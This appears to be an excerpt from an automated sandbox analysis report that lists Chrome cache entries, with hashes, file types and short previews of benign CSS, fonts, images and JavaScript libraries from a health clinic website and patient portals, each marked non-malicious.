SSDEEP:	768:JFlgVc+2+eI+E+eG+y+eFUOQ0eeY+br+eX:JQc+r+X+CUP+x
MD5:	F3BD90ED9190418715605B8AAA05DEBD
SHA1:	5EF128434040CDC17B99048DA8C56287894ED542
SHA-256:	E2FB63EA3B3D832A17E88CE1BDC0EC080117E17F1C9331697C822015E501CB13
SHA-512:	1B3FD80EF7F59AD36961493E9BD415D06FDA61F2073252BFD61048E369F5913193A4A72D8DB23A711E73370E09AEC05E78B0A364DA225EFBAB387B07DAADC22F
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/google-language-translator/css/style.css?ver=6.0.20
Preview:	#glt-settings.wrap {. max-width:1300px;.}..#glt-settings.wrap:after {. content:'';. display:block;. clear:both;.}..#glt-footer,.#glt-footer #google_language_translator {. display:none !important;.}..#glt-translate-trigger,.#glt-translate-trigger span {. cursor:pointer;.}..#glt-settings .glt-main-settings h3:before {. content:'\f108';.}..#glt-settings .glt-layout-settings h3:before {. content:'\f116';.}..#glt-settings .glt-floating-widget-settings h3:before {. content:'\f134';.}..#glt-settings .glt-behavior-settings h3:before {. content:'\f185';.}..#glt-settings .glt-usage-settings h3:before {. content:'\f106';.}..#glt-settings .glt-preview-settings h3:before {. content:'\f115';.}..#glt-settings .glt-flag-settings h3:before {. content:'\f227';.}..#glt-settings .glt-seo-settings h3:before {. content:'\f11e';.}..#glt-settings .glt-gtranslate-ad h3:before {. content:'\f326';.}..#glt-settings .glt-css-settings h3:before {. content:'\f119';.}..#glt-settings .glt-seo-setting

Chrome Cache Entry: 295

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (57196)
Category:	downloaded
Size (bytes):	110147
Entropy (8bit):	4.920389651812489
Encrypted:	false
SSDEEP:	1536:iLeJqf9Zk2u5SOV+UQ3Zo/0kxhdRVrkQzE:iLeJEk2u5SOV+UQ3Zo/0kPdvQQzE
MD5:	0234D0A7685AEFA6FD06041FBD602928
SHA1:	CBCBA60AA82286DD1F877CB8BD5B5CC047F82CE0
SHA-256:	0085ADFD2D08A45F62A06D8F3F969DDC4A94EBE8D226511DB90AA038F11ED180
SHA-512:	298B4324851F0D9662A48EF2FA74E65CD78FB4BC69191B05E70C254B6CC196719E7F35FE3E882857026FCFA260F0A5B1208E964EE9F42A9DD2E2FED0ACB070D1
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-includes/css/dist/block-library/style.min.css
Preview:	@charset "UTF-8";.wp-block-archives{box-sizing:border-box}.wp-block-archives-dropdown label{display:block}.wp-block-avatar{line-height:0}.wp-block-avatar,.wp-block-avatar img{box-sizing:border-box}.wp-block-avatar.aligncenter{text-align:center}.wp-block-audio{box-sizing:border-box}.wp-block-audio figcaption{margin-bottom:1em;margin-top:.5em}.wp-block-audio audio{min-width:300px;width:100%}.wp-block-button__link{box-sizing:border-box;cursor:pointer;display:inline-block;text-align:center;word-break:break-word}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}:where(.wp-block-button__link){border-radius:9999px;box-shadow:none;padding:calc(.667em + 2px) calc(1.333em + 2px);text-decoration:none}.wp-block-button[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-bl

Chrome Cache Entry: 296

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	42058
Entropy (8bit):	4.595533026339216
Encrypted:	false
SSDEEP:	384:IWUc+dQ3/PcJgTDEx/sZ5Tki8HmHmAoUsh50RhlYhHMD34txSFeWRg8:IY3/P8x/Uki8HcoUptuIFeWG8
MD5:	126C0D9E0B89A94FE41B10FE308C1C1B
SHA1:	147CF3C6A566BF0B8C768A8A87EBD9BC7B9FFFE2
SHA-256:	8FE2F3B0E9CC39A1BBC2FF57EF7CE5A83FDB995333440B4C0F5D8322CCC300C1
SHA-512:	A35BD87B1E712BCF28FBA2DB46FED2F0F17CD531B7A49ABFFFB386FFE8294C79BB1CD6DC4407BDFE7182A322C72FAE866CC200EC4E6F585C40EC21A72440E055
Malicious:	false
Reputation:	low
URL:	https://www.healowpay.com/HealowPay/jsp/js/assets/css/media-layout.css
Preview:	@media (min-width: 320px) and (max-width: 767px) {.. .h-wrapper.jt-overflow {.. overflow: visible;.. }.. body.overflow{.. overflow: hidden;.. padding-right: 0;.. }.. .h-wrapper .sel-optn.speciality-dd{.. max-height: 160px;.. }.. .h-wrapper {.. /* background-image: url('../../assets/img/vector-sm-landing.png'); /.. background-position: top right !important;.. }.... #card-tabContent{.. position: relative;.. / padding: 15px 15px 0 15px; */.. }.. #card-tabContent>.tab-pane{.. position: relative;.. z-index: 1;.. }.. #card-tabContent:after{.. content: "";.. position: absolute;.. left: -15px;.. top: -15px;.. width: calc(100% + 30px);.. height: calc(100% + 40px);.. background: #EDF9FC;.. }.. .... .h-wrapper .header-wrapper {.. padding: 0px 5px 10px;.. position: fixed;.. top: 0;.. left: 0;.. z-

Chrome Cache Entry: 297

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2133
Entropy (8bit):	4.320480445208527
Encrypted:	false
SSDEEP:	48:cXSYNR2mVQlu7QYMuqAOtyb/1jrrv9RmCM:oMFpidvrvY
MD5:	3D15ACFCC62A783A245A402EF280C5CD
SHA1:	4122698F8A2160231EF6FBB9B27F8277A47CD77F
SHA-256:	8D1FCB5853BDBAE11647B4D3B003349E9F219DDA630E2D86AA221E0A88CE58EF
SHA-512:	9216AB2C8321986A7F50DAED821756FD27CFA401BA91DBDC275B8548022F8F852EA4CB055DE7D28774D5F2215C56B273EAD8C413907B6F0D6C9AE580545B9C2B
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2020/07/icon__service_3.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>.<svg width="70" height="70" viewBox="0 0 70 70" fill="none" xmlns="http://www.w3.org/2000/svg">..<title>Icon Service</title>.<path opacity="0.15" fill-rule="evenodd" clip-rule="evenodd" d="M34.7384 69.4768C53.9239 69.4768 69.4768 53.9239 69.4768 34.7384C69.4768 15.5529 53.9239 0 34.7384 0C15.5529 0 0 15.5529 0 34.7384C0 53.9239 15.5529 69.4768 34.7384 69.4768Z" fill="#9A4879"/>.<path fill-rule="evenodd" clip-rule="evenodd" d="M42.7608 20.6509C45.5047 22.0155 47.5151 24.1968 48.5752 26.9592C49.4869 29.3361 49.5901 31.8097 48.8816 34.3114C48.2635 36.4939 47.007 38.6722 45.2477 40.6109C44.5387 41.3923 44.1791 42.9484 44.1791 45.2361V48.4806C44.1791 49.4806 43.3659 50.294 42.3659 50.294H30.6389C29.689 50.294 28.8948 49.5518 28.8307 48.6042C28.7973 48.1074 28.7453 47.6527 28.7277 47.5045C28.5312 46.7552 27.8566 46.4673 26.7218 46.6498C25.2502 46.886 24.0548 46.6842 23.2642 46.0657C22.694 45.6197 22.3587 44.9805 22.2943 44.2174C22.2668 43.8898 22.2473 4

Chrome Cache Entry: 298

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 9 x 9
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.3024795538336775
Encrypted:	false
SSDEEP:	3:CMjRYaEQESxlAnL/E:/jR7ESjAnLs
MD5:	E917D93DD863553A3226AFD51B4353E6
SHA1:	54D9537A8EA70EB087D7EE7F8B1793B57EA86984
SHA-256:	4C6F81132971A9402921578BB989BE686920C2E6E725738641F8EDD352086A57
SHA-512:	8E74057682F0B455FFAA4774167BECF258579F4CD7672955F65FCD48A7C1BF23C35FBBAB2AB4CB19AFE28E622F261F3CFDE82267AC5F31A17E98106665067925
Malicious:	false
Reputation:	low
Preview:	GIF89a.............cec...!.......,.............y...IV..(.;

Chrome Cache Entry: 299

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 7960, version 1.0
Category:	downloaded
Size (bytes):	7960
Entropy (8bit):	7.973915390377086
Encrypted:	false
SSDEEP:	192:HyOKJ7Vky6xN+6sJU2ydDKF11SJdKQm2N4hWdibmhPOejndLj8:HyOKdVky6LMPqDm7Am2N41b0PO04
MD5:	61E2D96D01A7EBA5EA3EC1BAD7E736A8
SHA1:	7C949455FA86A8819B3F896F373601454FC7B10D
SHA-256:	5E07F937BE00BBEF113152FA46B2B2D5DF97F405B152881C96E1C5069D8F405D
SHA-512:	410ED4131A5A25B0AACE2994BC4326D9F0CDAB65BD41B35754A29741C82996AA782B0E3146F7172F5F8AD73C48E3646532D20B2D1B621EA5B7C32B7512231C23
Malicious:	false
Reputation:	low
URL:	https://www.healowpay.com/HealowPay/jsp/js/assets/fonts/poppins-medium-normal-latin.woff2
Preview:	wOF2..............>$............................. .0.`..T.........6..6.$..h. .......'1....Z`"7Se.<..i....I.(C.k.V..f..3.G....%..Y..u.....#O......}.c&.D.&.xdQIP.X.J....9.i.h.4.+..}......J2$..."..O@...R...>.2..o.g.6{.,D@.H.V.Q.E..hc..E9......Um.Jw...~\....^...v..&..q<.g..........c...B..._[?;....d/......$9J.....%J.Um.j.[...+0j$ajL.i..S[.....N.&#c............6.V.M.....[..ee...:.....y.\|;.(.A.....A..X..8..-k~...f5...ey.:...;]\|..g..{8U..p.A.).?.u...c.x.......U..X...`W..r.gS.{..>.,.^...w.M.J......"f...u....$.......6...Ys..M.[+..l......#........yp....G..z.........}x.:..Rp.....#...:.}.....]=0.C..O...`.1..y..&..{.d..~-X.]....<$...........MI....l...ny.I8.`./..KD....E.z.V....R<9.\V..H(.....g..t<..`..B.X....O.\|y....T..S..P2.qM..'gg......R......@. ..<..g+......<...={Q.$.+O...aY.@....Nd.i..T.N.n.C.................j!.t.#..b[>..R.Y..E.C...R.h"*.,.....u.b...].l..h?O.. .1..c.........7yQ.\W# ..:.g..%.J.24.......1.k.:.C....Im..G.e..o.....km..;.;.z7.vomz0..

Chrome Cache Entry: 300

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	89476
Entropy (8bit):	5.2896589255084425
Encrypted:	false
SSDEEP:	1536:AjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakF:AYh8eip3huuf6IidlrvakdtQ47GK1
MD5:	DC5E7F18C8D36AC1D3D4753A87C98D0A
SHA1:	C8E1C8B386DC5B7A9184C763C88D19A346EB3342
SHA-256:	F7F6A5894F1D19DDAD6FA392B2ECE2C5E578CBF7DA4EA805B6885EB6985B6E3D
SHA-512:	6CB4F4426F559C06190DF97229C05A436820D21498350AC9F118A5625758435171418A022ED523BAE46E668F9F8EA871FEAB6AFF58AD2740B67A30F196D65516
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/script/newui/js/jquery-3.5.1.min.js?q=2
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 301

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	10048
Entropy (8bit):	4.683090205793578
Encrypted:	false
SSDEEP:	96:xvf7g1JY230Eb4hte0EDLOJfQDqd8YwXiwwe9SjgRBGd5QsRKP8/llU1f08XrZOj:hG8VJNUXiwwwSjx7EPklO18w7jeO5kGo
MD5:	3D5B41FFB20BA5587077EEB4DB9A3263
SHA1:	2869EC6560893689D71341572B3AE886BAAE7EAD
SHA-256:	ED3E9969884623E34CB3E08415C746C4887F6F5D12A8E19930A1E0D6FB942297
SHA-512:	47872A141621762E5629AECE08FACC46915C8FEFD8FF6FD18EC1F30F5E50D1272755DEF9C8307359CAA611A8EBD824F7176C556E798C8B6490FDA9D4711AF5EA
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2020/09/83_Behavioral-Health-Integration.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>. Generator: Adobe Illustrator 24.2.3, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->.<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 170 170" enable-background="new 0 0 170 170" xml:space="preserve">.<path fill="#3B6E8E" d="M44.281,126.521c10.679,10.666,25.423,17.262,41.708,17.262c16.285,0,31.029-6.596,41.708-17.262H44.281z"/>.<path fill="#3B6E8E" d="M85.989,25.737c-32.597,0-59.023,26.426-59.023,59.023c0,3.374,0.287,6.681,0.831,9.899h29.56..c-0.934-2.926-1.441-6.041-1.441-9.277c0-16.844,13.656-30.5,30.501-30.5c16.845,0,30.499,13.656,30.499,30.5..c0,3.236-0.508,6.352-1.441,9.277h28.705c0.544-3.219,0.831-6.525,0.831-9.899C145.012,52.163,118.587,25.737,85.989,25.737"/>.<path fill="#A0B7CC" d="M28.925,94.659c-0.577-3.269-0.879-6.633-0.879-10.068c0-31.81,25.787-57.601,57.6-57.601..c31.812,0,57.6,25.79,57.6,57.601c0,3.436-0.303,6.8-0.879,10.068h2.429c0

Chrome Cache Entry: 302

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2742)
Category:	downloaded
Size (bytes):	2787
Entropy (8bit):	5.282484642187527
Encrypted:	false
SSDEEP:	48:aGDep1Ju1IegYTIGHnzNsJRElwe8jah4+00+nFY0fajpEDu+Us0+ZgI/HY:n11DT3aRgtE24+00+ne0fYpIu+Us0+KR
MD5:	307ED9E95EB5AD5AFFA530A98A85A785
SHA1:	3556C3E3207EC916CFA5E0E2E4BCA503ED275F35
SHA-256:	B3ACB85AB5F6CB50750C09F5DD47A3DF0A329F47B9CED16C08FBA44A88630BEB
SHA-512:	01B293F3CA9DB6CCD745D0DFBC030B27DED4891EB8AC71C9DC31F6AC5AB564713A6AB91703F6DAB3D64497DD0AB8E54014F444E0614CC39D4A73BA21B8263A6F
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/Valley-Pro-Calculator/public/css/main.css?ver=1.0.0
Preview:	body{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,sans-serif;margin:0}code{font-family:source-code-pro,Menlo,Monaco,Consolas,Courier New,monospace}.App_App__unHq2{text-align:center}.App_vp_container__rKawg{margin:0 auto;max-width:1400px;padding:0 30px}.App_vp_Total_Income_button__57r3r{align-items:center;background:#54a9ff;border-radius:50px;color:#fff;display:flex;font-weight:700;justify-content:right;margin-top:50px}.App_vp_Total_IncomeText__GqsEE{font-size:18px;margin-right:18px}.App_vp_Total_Calc__hTIAe{background:#00000040;border-radius:30px;font-size:22px;padding:10px 20px}.App_loader__vKuPI{font-weight:bolder;margin:25%;text-align:center}.Information_vp_container__FnAwZ{margin:0 auto;max-width:1400px;padding:0 30px}.Information_vp_select_heading__CEfWx{h2{border-bottom:1px solid #ddd;color:#0e1e4d;font-size:30px;font-weight:700;margin-top:30px;padding-bottom:12px;text-align:left;@media screen an

Chrome Cache Entry: 303

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 450x450, components 3
Category:	dropped
Size (bytes):	30255
Entropy (8bit):	7.968709240512227
Encrypted:	false
SSDEEP:	768:eYwObwKrkdmy7w/wQYLYoFSmCLXJhBQEqmxxyu8iSLHJ3N+:e/Oblkdhko8ySmmZhBQkx8XnJ4
MD5:	6FC7704ADE897BB4C5FA36B1A5AAD61E
SHA1:	3E50F27827F85F728B5C0C84A0260F76F82CB5AD
SHA-256:	B621403CB540F45B62891F3C8127D3F7058A4F84CCEEF9AC49A9020C86BA45B1
SHA-512:	D2BFE724D971FD665A721E852606F3D56FCE3E9973CC6721F54C58E16C79DA0414AC8E5D76E4BA79B5B6CFAE78B7971BFBB8B342B561B3C06D924FF72FA35951
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C..............................................!........."$".$.......C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...]...G..v_._.F..l....[.&.#..k...Y.go..r/c....d.x...j..{.H.c.+.!...f.0..Z..s...`c.E39M......`{.]J.o1XL..J..".3..j...c..6...-..M+.C^.t.c.h.r.5.....y......~.Y..@.F.U8.)..t.(..x..m..^}x].o..u..o..&u=Es.d....ID[...,.g#.J............+.jt. ..{.q..c...j6^....5...../..UY...Sb.~.j.$.$..A....KT.........H...w.`.jkx...<..emas......~E.....b.M. ...y0..^..J.yQ.*..FK....

Chrome Cache Entry: 304

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (487)
Category:	downloaded
Size (bytes):	488
Entropy (8bit):	4.841686487844174
Encrypted:	false
SSDEEP:	12:ZorFgHDWrwAfu1eEkLsFtdJdG8nGELUD4LxZr8a65wARn:pDWJfurG8Goa4UR
MD5:	2775054C068B37509E0798448F7FD32C
SHA1:	8CCB907373C30EB3B98D5A24EC92141A938F09F5
SHA-256:	484EF4268F1D679C1AE88C06FC2388D39AFC441465732617E5E2CDC2E3D418E2
SHA-512:	5423F06453EA452614E21391C098D252DDB65ABC958C02664D9B6F1BD3BAD858B396B053C57AA714391C8953F849FAC3B6ECB9AA0C4F74F4FB81C1242B485EB4
Malicious:	false
Reputation:	low
URL:	https://js.adsrvr.org/universal_pixel.1.1.0.js
Preview:	var TTDCM = function () { function n(t) { var e = "iframe_" + this.mapIndex++, i = document.createElement("iframe"); i.setAttribute("id", e), i.setAttribute("allowTransparency", !0), i.setAttribute("height", 0), i.setAttribute("width", 0), i.setAttribute("src", t), document.body.appendChild(i) } this.init = function (t) { if (this.sslOnly = "https:" == location.protocol, void 0 !== t && null != t && 0 != t.length) for (var e = t.length, i = this.mapIndex = 0; i < e; i++)n(t[i]) } };.

Chrome Cache Entry: 305

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (597)
Category:	downloaded
Size (bytes):	518479
Entropy (8bit):	5.683759340720687
Encrypted:	false
SSDEEP:	12288:wTJtYdv7tmjTEyw+Z8ML8Vo1ukBO1N34PS+H7wIqBG7iIXXON2R+:kEcLVuN2R+
MD5:	8326C23D6B3EED35BC3E62F3294587FD
SHA1:	EDDA17E74E53E85073E5EAC9CB6BE2163DBFA23C
SHA-256:	57F03D3BA66117EDC152646341120DD3A1D7D71B9A98A3723AF5A8AE61BCB3AB
SHA-512:	F63FAEEA0ACCAC3FA74CF6168B319D901EDE869A83E7E6129158A120008E70E5B239BBBFF3159917F8AEEFCF997916A778AE21900B22035657E05AAAE9EBAAC0
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__en.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././.. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././*.. Apache License. Version 2.0, January 2004. https://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that contro

Chrome Cache Entry: 306

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32016)
Category:	downloaded
Size (bytes):	42914
Entropy (8bit):	5.2307840529473815
Encrypted:	false
SSDEEP:	768:qZcTN537dpje4oOBvZsMNFBQfxi1V3p9HKsJpDUZjE5:qU5zjA2nV3p9HKsajE5
MD5:	C18FD31524C40E32176E99350C82CCF1
SHA1:	81C53E2A97AE9561EBCEF80B906D7B69E3665078
SHA-256:	AEFD2D314E8D3B9D7F53925A76C1EC9D70753DB57F7EA6097933D6A65C9C0D29
SHA-512:	222D6A786A8046D7DDF5538F29EC10FB941E74C237AFD8636B5A7D27A7B9D1DC00A6BEACF7DDD4E31CE9BA7A6DEF0E93E2685EC2E2588E5853C4FDD63C1F809D
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/user-submitted-posts/resources/jquery.parsley.min.js?ver=20240319
Preview:	/!. Parsley.js.* Version 2.8.0 - built Wed, Sep 13th 2017, 11:04 pm.* https://parsleyjs.org.* Guillaume Potier - <guillaume@wisembly.com>.* Marc-Andre Lafortune - <petroselinum@marc-andre.ca>.* MIT Licensed.*/.function _toConsumableArray(e){if(Array.isArray(e)){for(var t=0,i=Array(e.length);t<e.length;t++)i[t]=e[t];return i}return Array.from(e)}var _slice=Array.prototype.slice,_slicedToArray=function(){function e(e,t){var i=[],n=!0,r=!1,s=void 0;try{for(var a,o=e[Symbol.iterator]();!(n=(a=o.next()).done)&&(i.push(a.value),!t\|\|i.length!==t);n=!0);}catch(l){r=!0,s=l}finally{try{!n&&o["return"]&&o["return"]()}finally{if(r)throw s}}return i}return function(t,i){if(Array.isArray(t))return t;if(Symbol.iterator in Object(t))return e(t,i);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),_extends=Object.assign\|\|function(e){for(var t=1;t<arguments.length;t++){var i=arguments[t];for(var n in i)Object.prototype.hasOwnProperty.call(i,n)&&(e[n]=i[n])}return e};!funct

Chrome Cache Entry: 307

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (597)
Category:	downloaded
Size (bytes):	518479
Entropy (8bit):	5.683759340720687
Encrypted:	false
SSDEEP:	12288:wTJtYdv7tmjTEyw+Z8ML8Vo1ukBO1N34PS+H7wIqBG7iIXXON2R+:kEcLVuN2R+
MD5:	8326C23D6B3EED35BC3E62F3294587FD
SHA1:	EDDA17E74E53E85073E5EAC9CB6BE2163DBFA23C
SHA-256:	57F03D3BA66117EDC152646341120DD3A1D7D71B9A98A3723AF5A8AE61BCB3AB
SHA-512:	F63FAEEA0ACCAC3FA74CF6168B319D901EDE869A83E7E6129158A120008E70E5B239BBBFF3159917F8AEEFCF997916A778AE21900B22035657E05AAAE9EBAAC0
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__en.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././.. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././*.. Apache License. Version 2.0, January 2004. https://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that contro

Chrome Cache Entry: 308

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	930654
Entropy (8bit):	4.05689953253767
Encrypted:	false
SSDEEP:	3072:ZV9aaBl6lDDD/DCD/DCD/DD/DCD/DCD/DD/DCD/DCD/DDCD/DD/DCD/DCD/DD/DB:ZmaNXYkMHSn
MD5:	5C8ED7BC8A7199103CD998E0D33F92C9
SHA1:	042A8592B8D065192DE2FDED66EC8159B2A86E51
SHA-256:	06486CABFB771C2F089C450B8A00C03C02014C682F44B9C3989123BB206F03A5
SHA-512:	31D98E3D072FA990B5CE82A59A5059523E23A3932175E7858D0AB7F255BD318DBD6DCF6FA87BDC11A5CA3CEA8692D49DF3C8ED25183E1697E885390689D93DB6
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/script/moment-timezone-with-data.min.js
Preview:	!function(M,z){"use strict";"object"==typeof module&&module.exports?module.exports=z(require("moment")):"function"==typeof define&&define.amd?define(["moment"],z):z(M.moment)}(this,function(A){"use strict";var z,q={},o={},W={},d={};A&&"string"==typeof A.version\|\|s("Moment Timezone requires Moment.js. See https://momentjs.com/timezone/docs/#/use-it/browser/");var M=A.version.split("."),b=+M[0],p=+M[1];function c(M){return 96<M?M-87:64<M?M-29:M-48}function O(M){var z=0,b=M.split("."),p=b[0],O=b[1]\|\|"",A=1,q=0,o=1;for(45===M.charCodeAt(0)&&(o=-(z=1));z<p.length;z++)q=60q+c(p.charCodeAt(z));for(z=0;z<O.length;z++)A/=60,q+=c(O.charCodeAt(z))A;return qo}function X(M){for(var z=0;z<M.length;z++)M[z]=O(M[z])}function B(M,z){var b,p=[];for(b=0;b<z.length;b++)p[b]=M[z[b]];return p}function R(M){var z=M.split("\|"),b=z[2].split(" "),p=z[3].split(""),O=z[4].split(" ");return X(b),X(p),X(O),function(M,z){for(var b=0;b<z;b++)M[b]=Math.round((M[b-1]\|\|0)+6e4M[b]);M[z-1]=1/0}(O,p.length),{name:z[0],

Chrome Cache Entry: 309

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	412605
Entropy (8bit):	5.102453890345255
Encrypted:	false
SSDEEP:	6144:mrZ8p3ggFhJeb00q3SYiLENM6HN26cFEGHIE:mKp3ggFhJe/Hp
MD5:	5ADBD153B6DF5DC921A1F7D168B89288
SHA1:	286A2B1DA587E2EB3CE0EF2E3B3E33782929E178
SHA-256:	F24564C02B21D9762BE869D2901FF9666D5B3D9349C33F8B941210D882FF2951
SHA-512:	AD0781701ED47895996C782FB1299F9B20972493B45676409ED83104984F0DA77D082E6F45B4063D6C49E296450CDAAE39DCBC4393EB7B1841ED4F24825E3694
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/dist/default_page.css?ver=230904-91952
Preview:	.background-cover{background-position:50%;background-size:cover}.object-fit-cover{-o-object-fit:cover;object-fit:cover;font-family:"object-fit: cover;"}.object-fit-cover--centered{left:50%;top:-50%;bottom:0;-webkit-transform:translate(-50%,50%);transform:translate(-50%,50%);min-width:100%;min-height:100%}.object-fit-cover--centered-x{left:50%;top:0;bottom:0;-webkit-transform:translateX(-50%);transform:translateX(-50%);min-width:100%;min-height:100%}.hide{text-indent:-998em;height:0;margin:0;padding:0}.adjustable-element{max-width:100%;max-height:100%;width:auto;height:auto;flex-shrink:0}.fill-the-whole-space{left:0;right:0;top:0;bottom:0}.animated-border-bottom{text-decoration:none;background-image:linear-gradient(0deg,currentColor 1px,transparent 0);background-size:0 100%;background-repeat:no-repeat;padding-bottom:.125rem;-webkit-transition:background-size .4s ease-in-out,opacity .4s ease-in-out;transition:background-size .4s ease-in-out,opacity .4s ease-in-out}.animated-border-bottom

Chrome Cache Entry: 310

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	10915
Entropy (8bit):	5.405847203801713
Encrypted:	false
SSDEEP:	192:ykNfCkNRkN+kN23nkN6kN+AkNfNa5N4NXNO3qNWNIXNENFQNDN8NW3XNtNGqN+rc:yifCiRi+iEni6i5i1afWdMQcMCFe5Kkh
MD5:	2412D68CC9C6155328BE735BE3C35346
SHA1:	31E226ABC20C9C19F7A15AC7C9398F1A42E7439D
SHA-256:	14E43DEBA0862360E34423D1813215410C69EF237A802B83D55FDFD56582012B
SHA-512:	4A2B1AB219F4A4B5E20FC190AF51871FDD0FF95431E562288FC735F493406BDDE624E241AE92B6324F4E9553EF3B52D6BAF6741948B4CB14F46DE6A754D62C17
Malicious:	false
Reputation:	low
URL:	"https://fonts.googleapis.com/css?family=Roboto:300,400,400i,500,600,700&display=swap%7Csans-serif"
